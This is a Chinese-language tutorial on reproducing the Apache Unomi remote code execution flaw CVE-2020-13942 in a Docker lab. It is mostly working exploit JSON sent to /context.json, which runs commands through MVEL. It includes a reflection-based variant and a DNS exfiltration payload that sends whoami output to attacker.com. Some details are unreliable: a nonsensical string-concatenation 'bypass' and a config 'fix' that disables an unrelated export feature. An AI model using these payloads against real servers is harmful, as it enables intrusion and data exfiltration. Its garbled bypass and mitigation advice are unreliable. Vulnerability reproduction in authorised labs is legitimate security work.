# 怎么实现Apache Unomi 远程代码执行漏洞CVE-2020-13942复现 ## 漏洞概述 CVE-2020-13942是Apache Unomi在2020年披露的一个高危远程代码执行漏洞。该漏洞存在于Unomi的MVEL表达式解析机制中,攻击者可通过构造恶意请求实现服务器端任意代码执行,直接影响系统安全性。 ### 受影响版本 - Apache Unomi 1.5.x系列(<= 1.5.1) - 部分早期版本可能同样受影响 ## 环境搭建 ### 准备工具 1. **漏洞环境**:Apache Unomi 1.5.1 ```bash docker run -p 8181:8181 -d apache/unomi:1.5.1 访问http://localhost:8181应看到Unomi欢迎页面,或通过API端点检查:
curl http://localhost:8181/cxs/ Unomi使用MVEL表达式语言进行条件评估,关键问题出在: 1. 未过滤的表达式解析:/context.json端点直接处理用户输入的MVEL表达式 2. Java反射机制滥用:通过MVEL可调用Java类方法(如Runtime.exec())
// 伪代码展示漏洞逻辑 public Response handleContextRequest(@RequestBody String body) { MVEL.eval(body); // 危险的无过滤解析 } 发送正常请求确认服务可用性:
POST /context.json HTTP/1.1 Host: localhost:8181 Content-Type: application/json { "filters": [ { "id": "sampleFilter", "filters": [ { "condition": { "parameterValues": { "test": "hello world" } } } ] } ] } 测试简单表达式执行:
{ "filters": [ { "id": "exploitFilter", "filters": [ { "condition": { "parameterValues": { "test": "new java.lang.ProcessBuilder('calc').start()" } } } ] } ] } 完整利用链示例(Linux系统):
{ "personalizations": [ { "id": "malicious", "strategy": "matching-first", "strategyOptions": { "fallback": "var1" }, "contents": [ { "filters": [ { "condition": { "parameterValues": { "test": "java.lang.Runtime.getRuntime().exec('touch /tmp/pwned')" } } } ] } ] } ] } 检查命令是否执行成功:
docker exec -it [container_id] ls /tmp # 应看到pwned文件被创建 字符过滤绕过:
// 使用字符串拼接 "test": "j"+"a"+"v"+"a".toUpperCase() 利用反射调用:
"test": "Class.forName('java.lang.Runtime').getMethod('exec', String.class).invoke(null, 'id')" 通过DNS外带数据:
"test": "java.lang.Runtime.getRuntime().exec('nslookup $(whoami).attacker.com')" 升级到Apache Unomi 1.5.2+版本,主要修复措施: 1. 禁用危险的MVEL表达式功能 2. 增加输入过滤机制
# 在unomi配置文件中禁用相关端点 org.apache.unomi.router.export.enabled=false 注意:实际操作时请确保在授权环境下进行,本文所述方法不得用于非法用途。漏洞复现可能对系统造成影响,建议使用虚拟机环境测试。 “`
该文档包含: 1. 完整的漏洞复现流程 2. 多种Payload示例 3. 修复建议和安全声明 4. 代码块和格式优化 5. 技术细节与原理说明
可根据实际测试环境调整IP/端口等参数,Windows系统需修改命令为calc.exe等对应指令。
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。